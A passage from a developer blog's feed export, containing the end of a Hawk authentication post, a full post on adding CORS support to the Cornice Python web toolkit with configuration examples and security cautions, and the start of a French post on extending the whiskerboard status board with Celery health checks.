&lt;/span&gt;&lt;span class="n"&gt;tokenId&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;as&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;the&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="o"&gt;//&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;user&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;req&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;user&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;tokenId&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="p"&gt;});&lt;/span&gt;

&lt;span class="n"&gt;app&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;get&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;/hawk-enabled-endpoint&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;hawkMiddleware&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;If you pass the createSession parameter, all non-authenticated requests
will create a new hawk session and return it with the response, in the
Hawk-Session-Token&amp;nbsp;header.&lt;/p&gt;
&lt;p&gt;If you want to only check a valid hawk session exists (without creating
a new one), just create a middleware which doesn&amp;#8217;t have any
createSession parameter&amp;nbsp;defined.&lt;/p&gt;
&lt;h2 id="some-reference-implementations"&gt;Some reference&amp;nbsp;implementations&lt;/h2&gt;
&lt;p&gt;As a reference, here is how we&amp;#8217;re using the libraries I&amp;#8217;m talking about,
in case that helps you to integrate with your&amp;nbsp;projects.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;The Mozilla Loop server &lt;a href="https://github.com/mozilla-services/loop-server/blob/master/loop/index.js#L70-L133"&gt;uses hawk as authentication once you&amp;#8217;re
    logged in with a valid BrowserID
    assertion&lt;/a&gt;;
    request, to keep a session between client and&amp;nbsp;server;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://github.com/spiral-project/daybed/commit/f178b4e43015fa077430798dcd3d0886c7611caf"&gt;I recently added hawk support on the Daybed
    project&lt;/a&gt;
    (that&amp;#8217;s a pyramid / cornice)&amp;nbsp;app.&lt;/li&gt;
&lt;li&gt;It&amp;#8217;s also interesting to note that Kumar put together &lt;a href="http://hawkrest.readthedocs.org/en/latest/"&gt;hawkrest, for
    the django rest&amp;nbsp;framework&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;</content><category term="code"></category></entry><entry><title>Implementing CORS in Cornice</title><link href="https://blog.notmyidea.org/implementing-cors-in-cornice.html" rel="alternate"></link><published>2013-02-04T00:00:00+01:00</published><updated>2013-02-04T00:00:00+01:00</updated><author><name></name></author><id>tag:blog.notmyidea.org,2013-02-04:/implementing-cors-in-cornice.html</id><summary type="html">
&lt;div class="note"&gt;

&lt;div class="admonition-title"&gt;

Note

&lt;/div&gt;

I&amp;#8217;m cross-posting [on the mozilla services
weblog](https://blog.mozilla.org/services/). Since this is the first
time we&amp;#8217;re doing that, I though it could be useful to point you there.
Check it out and expect more technical articles there in the future.

&lt;/div&gt;

&lt;p&gt;For security reasons, it …&lt;/p&gt;</summary><content type="html">
&lt;div class="note"&gt;

&lt;div class="admonition-title"&gt;

Note

&lt;/div&gt;

I&amp;#8217;m cross-posting [on the mozilla services
weblog](https://blog.mozilla.org/services/). Since this is the first
time we&amp;#8217;re doing that, I though it could be useful to point you there.
Check it out and expect more technical articles there in the future.

&lt;/div&gt;

&lt;p&gt;For security reasons, it&amp;#8217;s not possible to do cross-domain requests. In
other words, if you have a page served from the domain lolnet.org, it
will not be possible for it to get data from&amp;nbsp;notmyidea.org.&lt;/p&gt;
&lt;p&gt;Well, it&amp;#8217;s possible, using tricks and techniques like
&lt;a href="http://en.wikipedia.org/wiki/JSONP"&gt;&lt;span class="caps"&gt;JSONP&lt;/span&gt;&lt;/a&gt;, but that doesn&amp;#8217;t work all
the time (see &lt;a href="#how-this-is-different-from-jsonp"&gt;the section below&lt;/a&gt;). I
remember myself doing some simple proxies on my domain server to be able
to query other&amp;#8217;s &lt;span class="caps"&gt;API&lt;/span&gt;.&lt;/p&gt;
&lt;p&gt;Thankfully, there is a nicer way to do this, namely, &amp;#8220;Cross Origin
Resource-Sharing&amp;#8221;, or &lt;a href="http://www.w3.org/TR/cors/"&gt;&lt;span class="caps"&gt;CORS&lt;/span&gt;&lt;/a&gt;.&lt;/p&gt;
&lt;h2 id="you-want-an-icecream-go-ask-your-dad-first"&gt;You want an icecream? Go ask your dad&amp;nbsp;first.&lt;/h2&gt;
&lt;p&gt;If you want to use &lt;span class="caps"&gt;CORS&lt;/span&gt;, you need the &lt;span class="caps"&gt;API&lt;/span&gt; you&amp;#8217;re querying to support it;
on the server&amp;nbsp;side.&lt;/p&gt;
&lt;p&gt;The &lt;span class="caps"&gt;HTTP&lt;/span&gt; server need to answer to the &lt;span class="caps"&gt;OPTIONS&lt;/span&gt; verb, and with the
appropriate response&amp;nbsp;headers.&lt;/p&gt;
&lt;p&gt;&lt;span class="caps"&gt;OPTIONS&lt;/span&gt; is sent as what the authors of the spec call a &amp;#8220;preflight
request&amp;#8221;; just before doing a request to the &lt;span class="caps"&gt;API&lt;/span&gt;, the &lt;em&gt;User-Agent&lt;/em&gt; (the
browser most of the time) asks the permission to the resource, with an
&lt;span class="caps"&gt;OPTIONS&lt;/span&gt;&amp;nbsp;call.&lt;/p&gt;
&lt;p&gt;The server answers, and tell what is available and what&amp;nbsp;isn&amp;#8217;t:&lt;/p&gt;
&lt;p&gt;&lt;img alt="The CORS flow (from the HTML5 CORS tutorial)" src="/images/cors_flow.png"&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;1a. The User-Agent, rather than doing the call directly, asks the
    server, the &lt;span class="caps"&gt;API&lt;/span&gt;, the permission to do the request. It does so with
    the following&amp;nbsp;headers:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Access-Control-Request-Headers&lt;/strong&gt;, contains the headers the
    User-Agent want to&amp;nbsp;access.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Access-Control-Request-Method&lt;/strong&gt; contains the method the
    User-Agent want to&amp;nbsp;access.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;1b. The &lt;span class="caps"&gt;API&lt;/span&gt; answers what is&amp;nbsp;authorized:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Access-Control-Allow-Origin&lt;/strong&gt; the origin that&amp;#8217;s accepted. Can
    be * or the domain&amp;nbsp;name.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Access-Control-Allow-Methods&lt;/strong&gt; a &lt;em&gt;list&lt;/em&gt; of allowed methods.
    This can be cached. Note than the request asks permission for
    one method and the server should return a list of accepted&amp;nbsp;methods.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Access-Allow-Headers&lt;/strong&gt; a list of allowed headers, for all of
    the methods, since this can be cached as&amp;nbsp;well.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;ol&gt;
&lt;li&gt;The User-Agent can do the &amp;#8220;normal&amp;#8221;&amp;nbsp;request.&lt;/li&gt;
&lt;/ol&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;So, if you want to access the /icecream resource, and do a &lt;span class="caps"&gt;PUT&lt;/span&gt; there,
you&amp;#8217;ll have the following&amp;nbsp;flow:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&amp;gt; OPTIONS /icecream
&amp;gt; Access-Control-Request-Methods = PUT
&amp;gt; Origin: notmyidea.org
&amp;lt; Access-Control-Allow-Origin = notmyidea.org
&amp;lt; Access-Control-Allow-Methods = PUT,GET,DELETE
200 OK
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;You can see that we have an Origin Header in the request, as well as a
Access-Control-Request-Methods. We&amp;#8217;re here asking if we have the right,
as notmyidea.org, to do a &lt;span class="caps"&gt;PUT&lt;/span&gt; request on&amp;nbsp;/icecream.&lt;/p&gt;
&lt;p&gt;And the server tells us that we can do that, as well as &lt;span class="caps"&gt;GET&lt;/span&gt; and &lt;span class="caps"&gt;DELETE&lt;/span&gt;.&lt;/p&gt;
&lt;p&gt;I&amp;#8217;ll not cover all the details of the &lt;span class="caps"&gt;CORS&lt;/span&gt; specification here, but bear
in mind than with &lt;span class="caps"&gt;CORS&lt;/span&gt;, you can control what are the authorized methods,
headers, origins, and if the client is allowed to send authentication
information or&amp;nbsp;not.&lt;/p&gt;
&lt;h2 id="a-word-about-security"&gt;A word about&amp;nbsp;security&lt;/h2&gt;
&lt;p&gt;&lt;span class="caps"&gt;CORS&lt;/span&gt; is not an answer for every cross-domain call you want to do,
because you need to control the service you want to call. For instance,
if you want to build a feed reader and access the feeds on different
domains, you can be pretty much sure that the servers will not implement
&lt;span class="caps"&gt;CORS&lt;/span&gt;, so you&amp;#8217;ll need to write a proxy yourself, to provide&amp;nbsp;this.&lt;/p&gt;
&lt;p&gt;Secondly, if misunderstood, &lt;span class="caps"&gt;CORS&lt;/span&gt; can be insecure, and cause problems.
Because the rules apply when a client wants to do a request to a server,
you need to be extra careful about who you&amp;#8217;re&amp;nbsp;authorizing.&lt;/p&gt;
&lt;p&gt;An incorrectly secured &lt;span class="caps"&gt;CORS&lt;/span&gt; server can be accessed by a malicious client
very easily, bypassing network security. For instance, if you host a
server on an intranet that is only available from behind a &lt;span class="caps"&gt;VPN&lt;/span&gt; but
accepts every cross-origin call. A bad guy can inject javascript into
the browser of a user who has access to your protected server and make
calls to your service, which is probably not what you&amp;nbsp;want.&lt;/p&gt;
&lt;h2 id="how-this-is-different-from-jsonp"&gt;How this is different from &lt;span class="caps"&gt;JSONP&lt;/span&gt;?&lt;/h2&gt;
&lt;p&gt;You may know the &lt;a href="http://en.wikipedia.org/wiki/JSONP"&gt;&lt;span class="caps"&gt;JSONP&lt;/span&gt;&lt;/a&gt; protocol.
&lt;span class="caps"&gt;JSONP&lt;/span&gt; allows cross origin, but for a particular use case, and does have
some drawbacks (for instance, it&amp;#8217;s not possible to do DELETEs or PUTs
with &lt;span class="caps"&gt;JSONP&lt;/span&gt;).&lt;/p&gt;
&lt;p&gt;&lt;span class="caps"&gt;JSONP&lt;/span&gt; exploits the fact that it is possible to get information from
another domain when you are asking for javascript code, using the
\&amp;lt;script&amp;gt;&amp;nbsp;element.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Exploiting the open policy for \&amp;lt;script&amp;gt; elements, some pages use
them to retrieve JavaScript code that operates on dynamically
generated &lt;span class="caps"&gt;JSON&lt;/span&gt;-formatted data from other origins. This usage pattern
is known as &lt;span class="caps"&gt;JSONP&lt;/span&gt;. Requests for &lt;span class="caps"&gt;JSONP&lt;/span&gt; retrieve not &lt;span class="caps"&gt;JSON&lt;/span&gt;, but arbitrary
JavaScript code. They are evaluated by the JavaScript interpreter, not
parsed by a &lt;span class="caps"&gt;JSON&lt;/span&gt;&amp;nbsp;parser.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2 id="using-cors-in-cornice"&gt;Using &lt;span class="caps"&gt;CORS&lt;/span&gt; in&amp;nbsp;Cornice&lt;/h2&gt;
&lt;p&gt;Okay, things are hopefully clearer about &lt;span class="caps"&gt;CORS&lt;/span&gt;, let&amp;#8217;s see how we
implemented it on the&amp;nbsp;server-side.&lt;/p&gt;
&lt;p&gt;Cornice is a toolkit that lets you define resources in python and takes
care of the heavy lifting for you, so I wanted it to take care of the
&lt;span class="caps"&gt;CORS&lt;/span&gt; support as&amp;nbsp;well.&lt;/p&gt;
&lt;p&gt;In Cornice, you define a service like&amp;nbsp;this:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="kn"&gt;from&lt;/span&gt; &lt;span class="nn"&gt;cornice&lt;/span&gt; &lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;Service&lt;/span&gt;

&lt;span class="n"&gt;foobar&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;Service&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;name&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;foobar&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;path&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;/foobar&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="c1"&gt;# and then you do something with it&lt;/span&gt;
&lt;span class="nd"&gt;@foobar&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;get&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;get_foobar&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;request&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
    &lt;span class="c1"&gt;# do something with the request.&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;To add &lt;span class="caps"&gt;CORS&lt;/span&gt; support to this resource, you can go this way, with the
cors_origins&amp;nbsp;parameter:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="n"&gt;foobar&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;Service&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;name&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;foobar&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;path&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;/foobar&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;cors_origins&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;*&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,))&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Ta-da! You have enabled &lt;span class="caps"&gt;CORS&lt;/span&gt; for your service. &lt;strong&gt;Be aware that you&amp;#8217;re
authorizing anyone to query your server, that may not be what you&amp;nbsp;want.&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Of course, you can specify a list of origins you trust, and you don&amp;#8217;t
need to stick with *, which means &amp;#8220;authorize&amp;nbsp;everyone&amp;#8221;.&lt;/p&gt;
&lt;h3 id="headers"&gt;Headers&lt;/h3&gt;
&lt;p&gt;You can define the headers you want to expose for the&amp;nbsp;service:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="n"&gt;foobar&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;Service&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;name&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;foobar&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;path&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;/foobar&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;cors_origins&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;*&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,))&lt;/span&gt;

&lt;span class="nd"&gt;@foobar&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;get&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;cors_headers&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;X-My-Header&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;Content-Type&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;
&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;get_foobars_please&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;request&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;some foobar for you&amp;quot;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;I&amp;#8217;ve done some testing and it wasn&amp;#8217;t working on Chrome because I wasn&amp;#8217;t
handling the headers the right way (The missing one was Content-Type,
that Chrome was asking for). With my first version of the
implementation, I needed the service implementers to explicitely list
all the headers that should be exposed. While this improves security, it
can be frustrating while&amp;nbsp;developing.&lt;/p&gt;
&lt;p&gt;So I introduced an expose_all_headers flag, which is set to True by
default, if the service supports &lt;span class="caps"&gt;CORS&lt;/span&gt;.&lt;/p&gt;
&lt;h3 id="cookies-credentials"&gt;Cookies /&amp;nbsp;Credentials&lt;/h3&gt;
&lt;p&gt;By default, the requests you do to your &lt;span class="caps"&gt;API&lt;/span&gt; endpoint don&amp;#8217;t include the
credential information for security reasons. If you really want to do
that, you need to enable it using the cors_credentials parameter. You
can activate this one on a per-service basis or on a per-method&amp;nbsp;basis.&lt;/p&gt;
&lt;h3 id="caching"&gt;Caching&lt;/h3&gt;
&lt;p&gt;When you do a preflight request, the information returned by the server
can be cached by the User-Agent so that it&amp;#8217;s not redone before each
actual&amp;nbsp;call.&lt;/p&gt;
&lt;p&gt;The caching period is defined by the server, using the
Access-Control-Max-Age header. You can configure this timing using the
cors_max_age&amp;nbsp;parameter.&lt;/p&gt;
&lt;h3 id="simplifying-the-api"&gt;Simplifying the &lt;span class="caps"&gt;API&lt;/span&gt;&lt;/h3&gt;
&lt;p&gt;We have cors_headers, cors_enabled, cors_origins, cors_credentials,
cors_max_age, cors_expose_all_headers … a fair number of
parameters. If you want to have a specific &lt;span class="caps"&gt;CORS&lt;/span&gt;-policy for your
services, that can be a bit tedious to pass these to your services all
the&amp;nbsp;time.&lt;/p&gt;
&lt;p&gt;I introduced another way to pass the &lt;span class="caps"&gt;CORS&lt;/span&gt; policy, so you can do
something like&amp;nbsp;that:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="n"&gt;policy&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nb"&gt;dict&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;enabled&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="kc"&gt;False&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
              &lt;span class="n"&gt;headers&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;X-My-Header&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;Content-Type&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt;
              &lt;span class="n"&gt;origins&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;*.notmyidea.org&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt;
              &lt;span class="n"&gt;credentials&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="kc"&gt;True&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
              &lt;span class="n"&gt;max_age&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;42&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="n"&gt;foobar&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;Service&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;name&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;foobar&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;path&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;/foobar&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;cors_policy&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;policy&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;h2 id="comparison-with-other-implementations"&gt;Comparison with other&amp;nbsp;implementations&lt;/h2&gt;
&lt;p&gt;I was curious to have a look at other implementations of &lt;span class="caps"&gt;CORS&lt;/span&gt;, in django
for instance, and I found &lt;a href="https://gist.github.com/426829.js"&gt;a gist about
it&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Basically, this adds a middleware that adds the &amp;#8220;rights&amp;#8221; headers to the
answer, depending on the&amp;nbsp;request.&lt;/p&gt;
&lt;p&gt;While this approach works, it&amp;#8217;s not implementing the specification
completely. You need to add support for all the resources at&amp;nbsp;once.&lt;/p&gt;
&lt;p&gt;We can think about a nice way to implement this specifying a definition
of what&amp;#8217;s supposed to be exposed via &lt;span class="caps"&gt;CORS&lt;/span&gt; and what shouldn&amp;#8217;t directly in
your settings. In my opinion, &lt;span class="caps"&gt;CORS&lt;/span&gt; support should be handled at the
service definition level, except for the list of authorized hosts.
Otherwise, you don&amp;#8217;t know exactly what&amp;#8217;s going on when you look at the
definition of the&amp;nbsp;service.&lt;/p&gt;
&lt;h2 id="resources"&gt;Resources&lt;/h2&gt;
&lt;p&gt;There are a number of good resources that can be useful to you if you
want to either understand how &lt;span class="caps"&gt;CORS&lt;/span&gt; works, or if you want to implement it&amp;nbsp;yourself.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="http://enable-cors.org/"&gt;http://enable-cors.org/&lt;/a&gt; is useful to get started when you don&amp;#8217;t
    know anything about &lt;span class="caps"&gt;CORS&lt;/span&gt;.&lt;/li&gt;
&lt;li&gt;There is a &lt;span class="caps"&gt;W3C&lt;/span&gt; wiki page containing information that may be useful
    about clients, common pitfalls etc:
    &lt;a href="http://www.w3.org/wiki/CORS_Enabled"&gt;http://www.w3.org/wiki/CORS_Enabled&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;em&gt;&lt;span class="caps"&gt;HTML5&lt;/span&gt; rocks&lt;/em&gt; has a tutorial explaining how to implement &lt;span class="caps"&gt;CORS&lt;/span&gt;, with
    &lt;a href="http://www.html5rocks.com/en/tutorials/cors/#toc-adding-cors-support-to-the-server"&gt;a nice section about the
    server-side&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;Be sure to have a look at the &lt;a href="http://caniuse.com/#search=cors"&gt;clients support-matrix for this
    feature&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;About security, &lt;a href="https://code.google.com/p/html5security/wiki/CrossOriginRequestSecurity"&gt;check out this&amp;nbsp;page&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;If you want to have a look at the implementation code, check &lt;a href="https://github.com/mozilla-services/cornice/pull/98/files"&gt;on&amp;nbsp;github&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Of course, the &lt;span class="caps"&gt;W3C&lt;/span&gt; specification is the best resource to rely on. This
specification isn&amp;#8217;t hard to read, so you may want to go through it.
Especially the &lt;a href="http://www.w3.org/TR/cors/#resource-processing-model"&gt;&amp;#8220;resource processing model&amp;#8221;&amp;nbsp;section&lt;/a&gt;&lt;/p&gt;</content><category term="code"></category></entry><entry><title>Status board</title><link href="https://blog.notmyidea.org/status-board.html" rel="alternate"></link><published>2012-12-29T00:00:00+01:00</published><updated>2012-12-29T00:00:00+01:00</updated><author><name></name></author><id>tag:blog.notmyidea.org,2012-12-29:/status-board.html</id><summary type="html">
&lt;p&gt;À force de démarrer des services web pour un oui et pour un non, de
proposer à des copains d&amp;#8217;héberger leurs sites, de faire pareil pour
quelques assos etc, je me suis retrouvé avec, comme dirait l&amp;#8217;autre, &lt;em&gt;une
bonne platrée&lt;/em&gt; de sites et de services à gérer sur …&lt;/p&gt;</summary><content type="html">
&lt;p&gt;À force de démarrer des services web pour un oui et pour un non, de
proposer à des copains d&amp;#8217;héberger leurs sites, de faire pareil pour
quelques assos etc, je me suis retrouvé avec, comme dirait l&amp;#8217;autre, &lt;em&gt;une
bonne platrée&lt;/em&gt; de sites et de services à gérer sur lolnet.org, mon&amp;nbsp;serveur.&lt;/p&gt;
&lt;p&gt;Jusqu&amp;#8217;à très récemment, rien de tout ça n&amp;#8217;était sauvegardé, et non plus
monitoré. Après quelques recherches, je suis tombé sur
&lt;a href="http://www.stashboard.org/"&gt;stashboard&lt;/a&gt;, un &amp;#8220;status board&amp;#8221; qu&amp;#8217;il est
bien fait. Le seul problème, c&amp;#8217;est écrit pour se lancer sur &lt;span class="caps"&gt;GAE&lt;/span&gt;, &lt;em&gt;Google
App Engine&lt;/em&gt;. Heureusement, c&amp;#8217;est open-source, et ça a été forké pour
donner naissance à
&lt;a href="https://github.com/bfirsh/whiskerboard"&gt;whiskerboard&lt;/a&gt; (la planche
moustachue, pour les non&amp;nbsp;anglophones).&lt;/p&gt;
&lt;p&gt;&lt;img alt="Capture d'écran du site." src="/images/status_board.png"&gt;&lt;/p&gt;
&lt;h2 id="verifier-le-statut-des-services"&gt;Vérifier le statut des&amp;nbsp;services&lt;/h2&gt;
&lt;p&gt;Donc, c&amp;#8217;est chouette, c&amp;#8217;est facile à installer, tout ça, mais… mais ça ne fait en fait pas ce que je veux: ça ne fait que m&amp;#8217;afficher le statut des services, mais ça ne vérifie pas que tout est bien&amp;nbsp;&amp;#8220;up&amp;#8221;.&lt;/p&gt;
&lt;p&gt;Bon, un peu embêtant pour moi, parce que c&amp;#8217;est vraiment ça que je voulais. Pas grave, je sais un peu coder, autant que ça serve. J&amp;#8217;ai ajouté quelques fonctionnalités au soft, qui sont disponibles sur mon fork, sur github:: &lt;a href="https://github.com/almet/whiskerboard"&gt;https://github.com/almet/whiskerboard&lt;/a&gt;&amp;nbsp;.&lt;/p&gt;
&lt;p&gt;Entres autres, il est désormais possible de lancer
&lt;a href="http://celeryproject.org/"&gt;celery&lt;/a&gt; en tache de fond et de vérifier périodiquement que les services sont toujours bien vivants, en utilisant une tache&amp;nbsp;spécifique.&lt;/p&gt;
&lt;p&gt;C&amp;#8217;était un bonheur de développer ça (on a fait ça à deux, avec guillaume, avec un mumble + tmux en pair prog, en une petite soirée, ça&amp;nbsp;dépote).&lt;/p&gt;
&lt;p&gt;Les modifications sont assez simples, vous pouvez aller jeter un œil aux changements ici:
&lt;a href="https://github.com/almet/whiskerboard/compare/b539337416...master"&gt;https://github.com/almet/whiskerboard/compare/b539337416&amp;#8230;master&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;En&amp;nbsp;gros:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;ajout d&amp;#8217;une connection_string aux services (de la forme&amp;nbsp;protocol://host:port)&lt;/li&gt;
&lt;li&gt;ajout d&amp;#8217;une commande check_status qui s&amp;#8217;occupe d&amp;#8217;itérer sur les
    services et de lancer des taches celery qui vont bien, en fonction
    du&amp;nbsp;protocole&lt;/li&gt;
&lt;li&gt;ajout des taches en&amp;nbsp;question&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="deploiement"&gt;Déploiement&lt;/h2&gt;
&lt;p&gt;Le plus long a été de le déployer en fin de compte, parce que je ne
voulais pas déployer mon service de supervision sur mon serveur,&amp;nbsp;forcément.&lt;/p&gt;
&lt;p&gt;Après un essai (plutôt rapide en fait) sur &lt;a href="http://heroku.com"&gt;heroku&lt;/a&gt;,
je me suis rendu compte qu&amp;#8217;il me fallait payer pas loin de 35$ par mois
